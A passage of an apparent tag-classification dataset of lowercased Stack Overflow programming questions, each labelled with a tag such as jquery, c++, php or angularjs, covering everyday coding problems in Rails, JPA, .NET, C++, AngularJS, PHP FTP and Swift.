   &lt;div class= content &gt;
       
  &lt;div class= field field-name-field-inhoud field-type-text-with-summary field-label-hidden &gt;&lt;div class= field-items &gt;&lt;div class= field-item even &gt;
 &lt;p&gt;some randowm content&lt;/p&gt;
 &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;   &lt;/div&gt;
 
 &lt;div class=  mobile-tab &gt;
  
  &lt;div class= symbol &gt;lees meer +&lt;/div&gt;
  &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     hopefully if get the right answer      regards martijn",jquery
rails find_by_sql using ruby variable  i m trying to select workorders using find_by_sql.  the <code>where</code> portion of the sql needs to test against some ruby code:    i tried this:   <pre><code>&lt;% workorder.find_by_sql( select * from workorders w join empgroups e using (workgroup_id) where e.employee_id =    &lt;%= current_user.employee.id %&gt; ).each do |workorder| %&gt; </code></pre>   but  it doesn t seem to pre-process the <code>&lt;%= current_user.employee.id %&gt;</code>    thanks for the help!,ruby-on-rails
how to write subquery using criteria builder  here iam using nativequery to perform selecting lookuptype using subquery this is working right but i want to use criteria builder  how i can use        <code>query query = em.createnativequery( select * from lookupmaster where parentlookuptypeid = (select lookupid from lookupmaster where lookuptype =  )    lookupmaster.class);             query.setparameter(1  lookuptype);</code>    i tried to write the above query using criteria builder but i am getting different result here is my criteria query   <pre><code>`criteriabuilder cb =em.getcriteriabuilder();         criteriaquery cq=cb.createquery(lookupmaster.class);         root&lt;lookupmaster&gt; rt=cq.from(lookupmaster.class);         path&lt;object&gt; path = rt.get( parentlookuptypeid );         cq.select(rt);         subquery&lt;lookupmaster&gt; subquery = cq.subquery(lookupmaster.class);         root rt1 = subquery.from(lookupmaster.class);         subquery.select(rt1.get( lookupid ));         subquery.where(cb.equal(rt.get( lookuptype ) lookuptype));          cq.where(cb.in(path).value(subquery));         query qry =em.createquery(cq)` </code></pre>,html
how do i kill a timed-out process in .net  the code below is meant to execute an external process process from .net  and kill it if it does not terminate after a certain amount of time. the particular process used for testing just forever prints lines that say  y  on stdout.    the kill operation succeeds  however the process remains alive after that. to complicate matters  calling canceloutputread stops the output without producing the usual null at the end  so there is no clean way of knowing when the output is final (and can be processed).     i would like to know how to kill the process properly  and how to find out when it finished producing asynchronous output. many thanks.   <pre><code>    use proc = new system.diagnostics.process ()      let processstartinfo = system.diagnostics.processstartinfo( c:/cygwin/bin/bash.exe    -c yes )     processstartinfo.createnowindow &lt;- true     processstartinfo.useshellexecute &lt;- false     processstartinfo.redirectstandardoutput &lt;- true     processstartinfo.redirectstandardinput &lt;- false     processstartinfo.redirectstandarderror &lt;- true        let report (name:string) (value:system.diagnostics.datareceivedeventargs) : unit =         let value = value.data         if value = null then             printf  %s: null\n  name         else             printf  %s: %s\n  name value      proc.startinfo &lt;- processstartinfo     proc.outputdatareceived.add (report  stdout )     proc.errordatareceived.add (report  stderr )     if not (proc.start ()) then         failwithf  could not start process       proc.beginoutputreadline ()     proc.beginerrorreadline ()      let res = proc.waitforexit (100)     printf  waitforexit returned %o\n  res      while not proc.hasexited do            proc.kill ()      printf  waiting 10s\n      system.threading.thread.sleep 10000     printf  cancelling\n      proc.cancelerrorread ()     proc.canceloutputread ()     printf  done cancelling\n      system.threading.thread.sleep 3000     () </code></pre>   i get the following output:   <pre><code>waitforexit returned false           // a higher timeout produces lots of  y  before here stdout: y waiting 10s                          // kill has  succeeded  by now stdout: y stdout: y stdout: y stdout: y     &lt;thousands of  y  lines left out&gt; cancelling                            // oh well  lets just stop listening if it won t die done cancelling stdout: y                             // this is bad  i want to be processing the output now </code></pre>,.net
c++ - build order and dependency problem  i seem to be misunderstanding something related to build order dependencies in c++.  so i have this code  which defines a class that i use as a functionoid (object whose purpose is to substitute for passing a function pointer):   <pre><code>#include  imports.h   class x: public y { public:      x (t* t) { this-&gt;t= t; }     virtual ~x(){}      virtual void draw()     {         if (t-&gt;booleanreturningfunction())         {                 t-&gt;somefield.draw();         }     }      t* t; }; </code></pre>   i m getting a compiler error that complains about the  use of undefined type t  at the line numbers where i m using t.  however  imports.h looks like:   <pre><code>//the goal of this file is to have all the typcally needed imports in one place.  #if !defined(imports_h) #define imports_h  #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include &lt;iostream&gt; #include &lt;assert.h&gt; #include &lt;cmath&gt; #include &lt;fstream&gt;  class t; class x; class y;  #include  y.h  #include  x.h  #include  t.h   #endif // if !defined(imports_h) </code></pre>   with each  .h  file containing a definition of that class.  now t actually does have an x object in it (not a pointer  but an x object).  but  as far as i can tell  there s no circular dependency in the build order because x only has a pointer to t  right   is there anything i m missing that you can see just from this code   help is much appreciated!    <strong>edit:</strong> i solved my problem. the issue was that i was doing the above code inside a header file. the compiler understandably couldn t compile t->booleanreturningfunction() based on a forward reference (it needed to see the class declaration to know what address to bind the function call to).,c++
class type error  i am working on a project where i input a string  and it outputs that string on separate lines of the console. i have got that to work  but my question/error is when i am looking for a specific position of that word. an error message pops up regarding the  unsigned searcher = str.find( good );  with a red underline under  str  saying it needs a class identifier. i have looked online for examples but have no been able to solve this. please help!   <pre><code>int _tmain(int argc  _tchar* argv[]) { char str[] =     hello good sirtttttt..!. ; char * pointer_char; int pos = 0; std::string str; int i = 0; int length = strlen(str);     string good; // word/char that i want to search      cin &gt;&gt; good;  for (i = 0; i &lt; length; i++) //i&lt;string size {    unsigned searcher = str.find( good );    if (searcher != string::npos) {        cout &lt;&lt;  found at :   &lt;&lt; searcher;    } </code></pre>   },c++
iphone | how do i create a unique key from an nstimeinterval   i need to convert an nstimeinterval into a unique key. what is the best practice for doing this     thanks  doug,iphone
can i group by something that isn t in the select line   given a command in sql;    <pre><code>select ...     from ...     group by ... </code></pre>   can i group by something that isn t in the select line,sql
how to get sum of columns and group by unique id s of rows in mysql   this is my current query i am using  but i am not getting the    expected output.   <pre><code>select u.user_id  u.email  sum(ca.credits_added) as credits_added  sum(cs.credits_spent) as credits_spent  from weg_whitehound.users u join weg_whitehound.credits_added ca on u.user_id = ca.user_id join weg_whitehound.credits_spent cs on u.user_id = cs.user_id group by ca.user_id </code></pre>   and my original database is <a href= http://i.stack.imgur.com/urrpo.png  rel= nofollow >here</a>,mysql
nested interface inheritance implementation  i encounter a scenario of nested interface declarations and implementation  and i am looking for a better solution. the two possible solutions i can think of are either have wrapper objects in implementation  or using diamond inheritance. i am not satisfy with the wrapper objects as if i have over ten methods in each interface then there will be a lot of wrapper methods in each level of implementation class. the diamond inheritance implementation is more concise but i am told to avoid using diamond inheritance whenever possible. can anyone suggest an alternative better solution than the 2 in this question     the wrapper object implementation is   <pre><code>class ia { public:     virtual void ma() = 0; };  class ib : public ia { public:     virtual void mb() = 0; };  class ic : public ib { public:     virtual void mc() = 0; };  class id : public ic { public:     virtual void md() = 0; };  // ------------------------  class impla : public ia { public:     void ma() { /* do a */ } };  class implb : public ib { public:     void ma() { a.ma(); }     void mb() { /* do b */ } private:     impla a; };  class implc : public ic { public:     void ma() { b.ma(); }     void mb() { b.mb(); }     void mc() { /* do c */ } private:     implb b; };  class impld : public id { public:     void ma() { c.ma(); }     void mb() { c.mb(); }     void mc() { c.mc(); }     void md() { /* do d */ } private:     implc c; }; </code></pre>   the diamond inheritance examples is   <pre><code>class ia { public:     virtual void ma() = 0; };  class ib : public virtual ia { public:     virtual void mb() = 0; };  class ic : public virtual ib { public:     virtual void mc() = 0; };  class id : public virtual ic { public:     virtual void md() = 0; };  // ------------------------  class impla : public virtual ia { public:     void ma() { /* do a */ } };  class implb : public ib  public virtual impla { public:     void mb() { /* do b */ } };  class implc : public ic  public virtual implb { public:     void mc() { /* do c */ } };  class impld : public id  public implc { public:     void md() { /* do d */ } }; </code></pre>,c++
centering 2 divs inside another vertically  i have 2 divs that i want to centre vertically inside another div. at the moment i have:    <a href= http://jsfiddle.net/5vpa3/1/  rel= noreferrer >http://jsfiddle.net/5vpa3/1/</a>    now i understand what is going on here  but i want the left div to be vertically aligned within that container and the right div the same. but they are vertically aligning as a pair and not individually. i have tried various things but can t seem to get it work.,css
normalize scroll bars across browsers   basically i m looking to shim all modern browser so that the scroll bar acts the same way.     on newer macs the scroll bar hovers over content in webkit  on firefox the scroll takes about 15px of the content area. i m wondering if anyone has see something that would gets these all to a similar state.     thanks!,javascript
why is this for loop blocking if it is called afterwards   why does the <code>div[id=box]</code> not get updated until the for loop finishes  if i comment out the for loop  the <code>div</code> displays instantly.   <pre><code>document.getelementbyid( click ).onclick = function() {     document.getelementbyid( box ).style.display =  block ;      // loop after element update     for (var i = 0; i &lt; 2000000000; ++i) {} }; </code></pre>   <a href= http://jsfiddle.net/472bu/  rel= nofollow >http://jsfiddle.net/472bu/</a>,javascript
get inputs from inside of td s row by row  having an issue here...    i have some dynamic content being added via jquery/ajax and inside the content there is a button that needs to be clicked to submit the button... everything works fine on the first click.. but when the form is submitted it is also redrawn inside the view again for a second set of data... i am using the same button to submit the second set of data.. problem is  the data is not being submitted..    i am using    <pre><code>$( #somelement ).one( click   #someelementabovedynamic  function(){ } </code></pre>   inside the .done of my ajax call inside the above function i am trying to unbind and rebind the event  but with no success...    any samples to help me out,jquery
c# delay - delay in outputting to console while execution of program continues  i m trying to find a way of causing the program to not pause but for their to be a delay to execute certain tasks. i.e. i am trying to delay outputting  hello  to the console for 10 seconds for example  but the program will continue to execute the rest of the program.,c#
airdroid - how it works  i have been searching on the internet  but i didn t find what i want  so i d like do know if you guys know how to do this.    there s an app named airdroid  and i think you know it  but for those who don t  it enables a communication between your device and a browser. so you can control your smartphone through the internet  if both are connected at the same wi-fi.    do you guys know what i have to study to do it  android sdk has some class that enables it,android
angular permission show message and set the button disabled  i m using  <a href= https://github.com/narzerus/angular-permission  rel= nofollow > angular permission </a>. i validate the user role and works perfect  but i want to show a message when the user doesn t has these role and if is possible shows the button disabled. anyone could help me with this     this is my router definition:   <pre><code> $stateprovider.state( actionaccess   {url:  /actionaccess   templateurl:  views/actionaccess.html   controller:  actionaccesscontroller   data: { permissions: { only: [ admin ] } } }) </code></pre>   and this is my function to define if the user has or not the role:   <pre><code>.run(function (permission  authorizationfactory){   // define anonymous role   permission.definerole( admin   function (stateparams) {     return authorizationfactory.isinrole( admin );   }); }) </code></pre>,angularjs
system.web.ui.usercontrol does not have a property named itemtemplate  while trying to create a templated web user control   i am facing a problem that system.web.ui.usercontrol does not have a property named itemtemplate. how can i resolve it  ascx file code is   <pre><code>    &lt;%@ control language= c#  autoeventwireup= true  codefile= mytemplatedcontrol.ascx.cs  inherits= mytemplatedcontrol  %&gt; &lt;asp:placeholder runat= server  id= ph1  /&gt; </code></pre>   .ascx.cs file code is   <pre><code>using system; using system.collections; using system.configuration; using system.data;  using system.web; using system.web.security; using system.web.ui; using system.web.ui.htmlcontrols; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts;   public partial class mytemplatedcontrol : system.web.ui.usercontrol {     private itemplate itemtemplate = null;     private itemplate alternatingitemtemplate = null;     [templatecontainer(typeof(itemcontainer))]     public itemplate itemtemplate     {          get{return itemtemplate;}         set { itemtemplate = value; }     }     public itemplate alternatingitemtemplate      {         get { return alternatingitemtemplate; }         set { alternatingitemtemplate = value; }     }     private bool isodd(int i)     {         if (i % 2 == 0)             return false;         else             return true;     }     void page_init()     {         string[] student = {  sam    ram    geet    rosy    linda    vandana  };         for (int i = 0; i &lt; 6; i++)         {             itemcontainer container = new itemcontainer(student[i]);             if (isodd(i))             {                 alternatingitemtemplate.instantiatein(container);             }             else             {                 itemtemplate.instantiatein(container);             }             this.ph1.controls.add(container);         }          }     protected void page_load(object sender  eventargs e)     {      } } public class itemcontainer : control  system.web.ui.inamingcontainer {  private string _s_name;     internal itemcontainer(string name)     {         _s_name = name;     }     public string name      {         get { return _s_name; }     } } </code></pre>   .aspx file code is   <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= default.aspx.cs  inherits= _default  %&gt; &lt;%@ register src= ~/mytemplatedcontrol.ascx  tagname= mytemplatedcontrol  tagprefix= uc1  %&gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head id= head1  runat= server &gt;     &lt;title&gt;test page for templated user control&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;div&gt;     &lt;uc1:mytemplatedcontrol runat= server  id= mytemplatedcontrol &gt;     &lt;itemtemplate&gt;     &lt;font color= blue &gt;     &lt;asp:label runat= server  id= label2  text= &lt;%#container.name%&gt;  /&gt;     &lt;/font&gt;     &lt;hr /&gt;     &lt;/itemtemplate&gt;     &lt;alternatingitemtemplate&gt;     &lt;font color= green &gt;     &lt;asp:label runat= server  id= label1  text= &lt;%#container.name%&gt;  /&gt;     &lt;/font&gt;     &lt;hr /&gt;     &lt;/alternatingitemtemplate&gt;       &lt;/uc1:mytemplatedcontrol&gt;      &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   .aspx.cs file code is this   <pre><code>public partial class _default : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         databind();      } } </code></pre>,asp.net
how can i hide the app name   i wanna hide the app_name in my application. how can i do this     thanks,android
restore the state of a table created by a for loop  hi guys i created a dynamic table using tablelayouts by adding the values i put in edit texts in a different activity.  i use a for loop to continually add values to the table.  so my question is how is it possible to save the values and the whole activity with this values in them and be able to continue from the point where the activity was stopped because when the activity is exited the values are lost and so this is a big problem.  thank you in advance for any response,android
c# textbox programming  i m trying to program the textboxes  so they do their instructions after the textbox is left. any ideas on how to do it  i tried smth with keyup  but don t really know how it works   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace for_homework {     public partial class form1 : form     {         public form1()     {         initializecomponent();     }      private void button1_click(object sender  eventargs e)     {          var loopresult = new list&lt;int&gt;();         var loopparameters = new list&lt;int&gt;();         loopparameters = takeinput();         loopresult = looping(loopparameters);         result(loopresult);         finalresult(loopresult);     }     private list&lt;int&gt; takeinput()     {         var loop = new list&lt;int&gt;();         loop.add(int.parse(textbox1.text));         loop.add(int.parse(textbox2.text));         loop.add(int.parse(textbox3.text));         loop.add(int.parse(textbox4.text));         loop.add(int.parse(textbox5.text));         loop.add(int.parse(textbox6.text));         return loop;     }//take the input     private list&lt;int&gt; looping(list&lt;int&gt; loopparam)     {         var loopsum = new list&lt;int&gt;();         loopsum.add(0);         loopsum.add(0);         for (int i = loopparam[0]; i &lt;= loopparam[1]; i += loopparam[2])         {             loopsum[0]+=i;         }         for(int i = loopparam[3]; i &lt;= loopparam[4]; i += loopparam[5])         {             loopsum[1]+=i;         }         return loopsum;     }//do the loop and summarize     void result (list&lt;int&gt; loopresult)     {         resulta.text =   +loopresult[0];         resultb.text =   +loopresult[1];     }//give result     void finalresult(list&lt;int&gt; loopresult)     {         if(loopresult[0]&gt;loopresult[1])         {             whowins.text =  player a wins ;         }         else if(loopresult[1]&gt;loopresult[0])         {             whowins.text =  player b wins ;         }         else         {             whowins.text =  it s a draw ;         }     }//give final result     private void textbox1_textchanged(object sender  eventargs e)     {         int i = int.parse(textbox1.text);         if (i &lt; 1 || i &gt; 6)             label3.text =  wrong number ;     }//texbox evaluation      private void textbox2_textchanged(object sender  eventargs e)     {         int i = int.parse(textbox2.text);         if (i &lt; 7 || i &gt; 18)             label4.text =  wrong number ;     }      private void textbox4_textchanged(object sender  eventargs e)     {         int i = int.parse(textbox4.text);         if (i &lt; 1 || i &gt; 6)             label7.text =  wrong number ;     }//textbox evaluation      private void textbox5_textchanged(object sender  eventargs e)     {         int i = int.parse(textbox5.text);         if (i &lt; 7 || i &gt; 18)             label8.text =  wrong number ;     } } } </code></pre>   <a href= https://i.stack.imgur.com/dcw4e.png  rel= nofollow noreferrer >the form itself</a>    it told me my post is mostly code so i need to add more details,c#
what is the best dotnet component suite   what do you feel is the best .net component suite  there are a lot but what is the best one and why   thanks in advance.,.net
how to set attribute for id with increment option and to start increment with specific number  here is my html part   <pre><code> &lt;input type= text  class= demo  id=   value=   /&gt;  &lt;input type= text  class= demo  id=   value=   /&gt;  &lt;input type= text  class= demo  id=   value=   /&gt;  &lt;input type= text  class= demo  id=   value=   /&gt;  &lt;input type= text  class= demo  id=   value=   /&gt; </code></pre>   my jquery    <pre><code> $( .demo ).attr( id   function (i) {     return  sample_  + (i + 1);  }); </code></pre>   now i need this  i  to start from 5 rather than 0 so my result will be starting from sample_6  sample_7 etc..    how can i do that,jquery
access local host website from android device  i have created web services application in asp.net mvc and now need to access it from my android device connected on same network. this is needed to debug webservies application. i do not have a static ip. the site is running with url <a href= http://localhost:27719  rel= nofollow >http://localhost:27719</a> but i cannot access localhost from android device. i researched web and tried below options: tried changing website binding information in applicationhost.config file. but i couldn t find my webstie entry in applicationhost file. i have also tried opening the specific port 27719 in windows firewall. but that isn t working too. i am able to access website if i host on iis. but i need to access it when i run from visual studio  so that i can debug.  please suggest how can i access webservices on my machine from android device connected to same wifi network.,asp.net
why isn t my function returning the count  (binary tree)  everything in my program works perfectly  except it is not showing the count for the field. i tried to change some codes but it does not seem to display it in the output. it seems like a easy mistake or something obviously but i have no idea why it doesn t display it. can someone help    <pre><code>#include &lt;iostream&gt;  using namespace std;  template&lt;class t&gt;  class binarytree {     struct node     {         t data;         node* leftchild;         node* rightchild;          node(t datanew)         {             data = datanew;             leftchild= null;             rightchild = null;         }     }; private:     node* root;      void add(t new_data  node* &amp;the_root)     {         if (the_root == null)         {             the_root = new node(new_data);             return;         }          if (new_data &lt; the_root-&gt;data)             add(new_data  the_root-&gt;leftchild);         else             add(new_data  the_root-&gt;rightchild);     }     int counttree(node* the_root)     {         if (the_root == null)             return 0;           else {             int count = 1;               count += counttree(the_root-&gt;leftchild);              count += counttree(the_root-&gt;rightchild);              return count;           }     }      void printtree(node* the_root)     {         if (the_root != null)         {             cout &lt;&lt; the_root-&gt;data &lt;&lt;   ;             printtree(the_root-&gt;leftchild);             printtree(the_root-&gt;rightchild);         }     }  public:     binarytree()     {         root = null;     }      void additem(t new_data)     {         add(new_data  root);     }      int counttree()     {         return counttree(root);     }      void printtree()     {         printtree(root);     } };  int main() {     binarytree&lt;int&gt; *mybt = new binarytree&lt;int&gt;();     mybt-&gt;additem(6);     mybt-&gt;additem(5);     mybt-&gt;additem(4);     mybt-&gt;additem(18);     mybt-&gt;additem(6);     mybt-&gt;printtree();     mybt-&gt;counttree(); } </code></pre>,c++
angularjs: deleting from scope without hardociding  i have an array of items bound to <code>&lt;li&gt;</code> elements in a <code>&lt;ul&gt;</code> with angularjs. i want to be able to click  remove item  next to each of them and have the item removed.    <a href= https://stackoverflow.com/questions/14250642/angularjs-how-to-remove-and-item-from-scope >this answer</a> on stackoverflow allows us to do exactly that  but because the name of the array which the elements are being deleted from is hardcoded it is not usable across lists.    you can see an example here on <a href= http://jsfiddle.net/jphastings/wj226/1/  rel= nofollow noreferrer >jsfiddle set up</a>  if you try clicking  remove  next to a game  then the student is removed  not the game.    passing <code>this</code> back from the button gives me access to the angular $scope at that point  but i don t know how to cleanly remove that item from the parent array.    i could have the button defined with <code>ng-click= remove( games  this) </code> and have the function look like this:   <pre><code>$scope.remove = function (arrayname  scope) {   scope.$parent[arrayname].splice(scope.$index 1); } </code></pre>   (<a href= http://jsfiddle.net/jphastings/wj226/3/  rel= nofollow noreferrer >like this jsfiddle</a>) but naming the parent array while i m inside it seems like a very good way to break functionality when i edit my code in a year.    any ideas,angularjs
background image not showing in some phones  everything works fine for some phones  but when i tested it for example on htc the background image isn t showing.     css   <pre><code>header {   background-image: linear-gradient(rgba(0  0  0  0.8)  rgba(0  0  0  0.8))  url(../images/lets-get-down-to-business.jpg);   background-size: cover;   height: 100vh;   background-position: center; } </code></pre>   and the only query that touches the bg image   <pre><code>@media only screen and (max-height:600px){   header {     height: 600px;      } } </code></pre>   any help would be appreciated with explanation.    thank you!,css
regex for date between 19000101 to 20001231  can any body suggest regx for below date range    format is ccyymmdd 19000101 to 20001231 blank    i am new to the regx please help me out.,c#
how to use combobox.selected text in where clause of a query to get the value in same row but different column in database (c#)  <a href= https://i.stack.imgur.com/8n7fy.png  rel= nofollow noreferrer >in this image i tried to save the value in  cur  but it giving error cannot convert string to int</a>i have a database table (tablename = currencyconverter) with two columns.  currencyname  and  currencyvalue . i have a combobox and wants to run this query. select currencyvalue from currencyconverter where currencyname =  + combobox2.selectedtext; so the thing i want is when a text in combobox is selected the query should get the value and should save it in a variable.<a href= https://i.stack.imgur.com/m8zrv.png  rel= nofollow noreferrer >this is the database table image</a>,c#
how to check if there are no char before the string   lets say i have char *string. now i want to make sure there is nothing before  t . how would i check that  this is my approach but it doesn t seem to work.    <pre><code>char * str =  test ; checker(str); ------------------------------------------------ int checker(char * string){     char *idx = string;     idx--;     if(*idx !=  \0 ){ //there should be no char before t         return 1;      } </code></pre>   i have tried  \n  and  \0 .,c
issues with directory in url   for my site  i have different directories for different things and for links  i simply add the end with the file name such as  index.html  so it automatically adds it to the end of my url.    when i am in a directory such as  /help  and click on the link that takes me home  it contains the /help so it looks like  www.example.com/help/index.html . how do i make it so it gets rid of the help and just says  www.example.com/index.html .,html
how to access mp3 tag information  i am using the avaudioplayer to play songs in my app.  i would like to display the artist name and song name.  is there anyway of accessing this information from the id3 tag,iphone
my parameterized constructor says my string variable is undefined   sorry i m awful at programming  and need so help so i can move on with my other tasks. this is my program below:   <pre><code>#include&lt;iostream&gt; #include date.h  #include&lt;string&gt;  using namespace std;  int main() {      //string thurs;     date mydate(thurs 12 2014);     cout&lt;&lt; day is:  &lt;&lt;mydate.getday()&lt;&lt;endl;     cout&lt;&lt; month is:  &lt;&lt;mydate.getmonth()&lt;&lt;endl;     cout&lt;&lt; month is:  &lt;&lt;mydate.getyear()&lt;&lt;endl; } </code></pre>   where is says  thurs  it says it is undeclared  i tried to declare it but it still didn t fix my problem  its why i commented it out.    this is my class  im not sure if this is the problem:   <pre><code>#include&lt;iostream&gt;  using namespace std;  class date {     private:         string day;         int month;         int year;      public:         date(string day int month int year); //param constructor         void setday(string);         void setmonth(int);         void setyear(int);         string getday();         int getmonth();         int getyear(); }; </code></pre>   and finally my setters/getters  not sure if this might be the problem:   <pre><code>#include date.h   date::date(string day int month  int year) {     this-&gt;day=day;     this-&gt;month=month;     this-&gt;year=year; }  //getters string date::getday() {     return day; }  int date::getmonth() {     return month; }  int date::getyear() {     return year; }   //setters void date::setday(string d) {     day=d; }  void date::setmonth(int m) {     month=m; }  void date::setyear(int y) {     year=y; } </code></pre>   at the moment it displays everything apart from  thurs  - any help and sorry for horrible layout >.&lt;,c++
how do i call function that already declared in angularjs controller   i have already defined a function in angularjs controller. but if i call it from somewhere in the same controller it s not working.   <h2>controller.js</h2>  <pre><code>function manageproductcontroller($http  $scope  $mddialog  $document  $location  $localstorage) {      var vm = this;      vm.uid = $localstorage._id;          vm.purchased =   ;         $scope.types = [{code:1  type: available items }  {code:2  type: purchased items }  {code:3  type: guest contributed }  {code:4  type: full list }];          $scope.update();           $scope.update = function() {             if($scope.selectedcode == 1){                 vm.purchased =  yes ;             }else if($scope.selectedcode == 2){                 vm.purchased =   ;             }else{                 vm.purchased =  no ;             }       $http({             url:  http://localhost:7200/api/manage-product               method:  post               data: {userid:vm.uid  code:vm.purchased}         }).success(function(res) {             //$scope.productlist = res;             //console.log(vm.result);              vm.result = res.result;             vm.count=vm.result.length;             //console.log(vm.result);              if(vm.count == 0){                 vm.showmessage = true;             } else {                 vm.result=res.result;                    vm.showmessage = false;               }              //console.log(vm.result);             //vm.docs=res.docs;         }  function(error) {             console.log(error);             alert( here );         });     };   } </code></pre>   in the above code <code>$scope.update();</code> is not working. i have searched so many things in google but they have called in the same way but in my case it s not working. i don t know where am i wrong.,angularjs
h2o template not calling child methods  i m using the h2o library from <a href= https://github.com/idlesign/h2o-php  rel= nofollow >https://github.com/idlesign/h2o-php</a> and have run into an issue with its variable inspection.    i have an object with child objects that have their own methods. according to the documentation  these should be callable via the dot notation  unfortunately they return empty.    example:   <pre><code>{% for index  object in c.objects %}      &lt;li&gt;{{ object.name}} | {{ object.method_name }} &lt;/li&gt; {% endfor %} </code></pre>   outside of the template  the method works:   <pre><code>&lt;  $o = new $objectname; echo $o-&gt;childobject[0]-&gt;methodname();  &gt; </code></pre>   but calling that with h2o s dot notation ({{objects[0].object.method_name}}) inside the template does not.     as an aside  non-method call variables (object.variablename) are working fine within the template  so its not an issue of the object being null or something.,php
what is the best way to do per-user database connections in rails  what is the best way to do per-user database connections in <code>rails</code>      i realize this is a poor rails design practice  but we re gradually replacing an existing web application that uses one database per user. a complete redesign/rewrite is not feasible.,ruby-on-rails
ftp upload not working  file is not uploading to ftp and errors: <strong>warning: ftp_put() [function.ftp-put]: can t open that file: no such file or directory coming</strong>. we are using following code:   <pre><code>    $server =  ftp.domain.com ; $ftp_user_name =  upload@domain.com ; $ftp_user_pass =  password ; $dest =  files/test.txt ; $source =  test.txt ; $src = ini_get( upload_tmp_dir );  $connection = ftp_connect($server); $login = ftp_login($connection  $ftp_user_name  $ftp_user_pass); if (!$connection || !$login) { die( connection attempt failed! ); } $upload = ftp_put($connection  $dest  $source  ftp_binary); if (!$upload) { echo  ftp upload failed! ; } ftp_close($connection);  </code></pre>,php
java.lang.nosuchmethoderror: org.apache.poi.hssf.usermodel.hssfsheet.addmergedregion  hi i am trying to merge cell using poi. i have the <code>poi-3.5-final.jar</code> in my <code>web-inf/lib</code> but still i am getting the below error:   <pre><code>context with path [/ofsaa80] threw exception [javax.servlet.servletexception: java.lang.nosuchmethoderror: org.apache.poi.hssf.usermodel.hssfsheet.addmergedregion(lorg/apache/poi/hssf/util/region;)i] with root cause  java.lang.nosuchmethoderror: org.apache.poi.hssf.usermodel.hssfsheet.addmergedregion(lorg/apache/poi/hssf/util/region;)i     at com.sample.template.generatetemplate(template.java:108)     at org.apache.jsp.template_jsp._jspservice(template_jsp.java:100)     at org.apache.jasper.runtime.httpjspbase.service(httpjspbase.java:70)     at javax.servlet.http.httpservlet.service(httpservlet.java:725) </code></pre>   my code :   <pre><code> hssfrow mergedrow= sheet.createrow((short) 0);                        //creating report header  sheet.addmergedregion(new region(0  (short) 0  0  (short)  4));  hssfcell mergedcell= mergedrow.createcell((short) 0);  mergedcell.setcellvalue(rrrconstants.report_header+selsch+ -  +schedulename);  </code></pre>,java
uidevicebatteryleveldidchangenotification is not calling selector function swift  below is the sample code where i am getting this error when battery level is changed. could you please advise where i am going wrong.   <pre><code>2015-05-05 21:18:55.383 batterystatustest[1702:204137] -[nslayoutconstraint batterylevelchanged:]: unrecognized selector sent to instance 0x170096670 2015-05-05 21:18:55.395 batterystatustest[1702:204137] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[nslayoutconstraint batterylevelchanged:]: unrecognized selector sent to instance 0x170096670  *** first throw call stack: (0x1858242d8 0x1970480e4 0x18582b3a4 0x185828154 0x18572accc 0x1857ca2c4 0x185707450 0x186636a80 0x18a29caec 0x1869d5404 0x1857c6dc4 0x1857dba54 0x1857db9b4 0x1857d9934 0x1857052d4 0x18ef1b6fc 0x18a2cafac0x100104bec 0x1976c6a08) libc++abi.dylib: terminating with uncaught exception of type nsexception </code></pre>   but when i have placed this code inside viewcontroller.swift without battermonitor delegate and it is working fine.   <pre><code>nsnotificationcenter.defaultcenter().addobserver(self  selector:  batterylevelchanged:   name: uidevicebatteryleveldidchangenotification  object: nil) nsnotificationcenter.defaultcenter().addobserver(self  selector:  batterylevelchanged:   name: uidevicebatterystatedidchangenotification  object: nil)  func batterylevelchanged(notification: nsnotification) {     //do something } </code></pre>   sample code    appdelegate.swift   <pre><code>import uikit  @uiapplicationmain class appdelegate: uiresponder  uiapplicationdelegate {      var window: uiwindow       func application(application: uiapplication  didfinishlaunchingwithoptions launchoptions: [nsobject: anyobject] ) -&gt; bool {          //enable battery monitor         uidevice.currentdevice().batterymonitoringenabled = true          return true     } } </code></pre>   viewcontroller.swift   <pre><code>import uikit  class viewcontroller: uiviewcontroller  batterymonitordelegate {      override func viewdidload() {         super.viewdidload()          //battery monitor before start the drive         let batterymonitor = batterymonitor()         batterymonitor.delegate = self     }      func batteylevelisnotunderrecommendedlevel(level: int) {         println(level)     } } </code></pre>   batterymonitor.swift   <pre><code>import uikit  protocol batterymonitordelegate {     func batteylevelisnotunderrecommendedlevel (level: int) }  struct batterymonitordata {     static let minimumbatterylevelrequired: float = 40 }  class batterymonitor: nsobject {      let thisdevice = uidevice.currentdevice()     var delegate: batterymonitordelegate       override init() {         super.init()          nsnotificationcenter.defaultcenter().addobserver(self  selector:  batterylevelchanged:   name: uidevicebatteryleveldidchangenotification  object: nil)         nsnotificationcenter.defaultcenter().addobserver(self  selector:  batterylevelchanged:   name: uidevicebatterystatedidchangenotification  object: nil)          println(uidevice.currentdevice().batterylevel)     }      func batterylevelchanged(notification: nsnotification) {         if thisdevice.batterylevel &lt;= batterymonitordata.minimumbatterylevelrequired {             delegate .batteylevelisnotunderrecommendedlevel(int(thisdevice.batterylevel * 100))         }     } } </code></pre>,ios
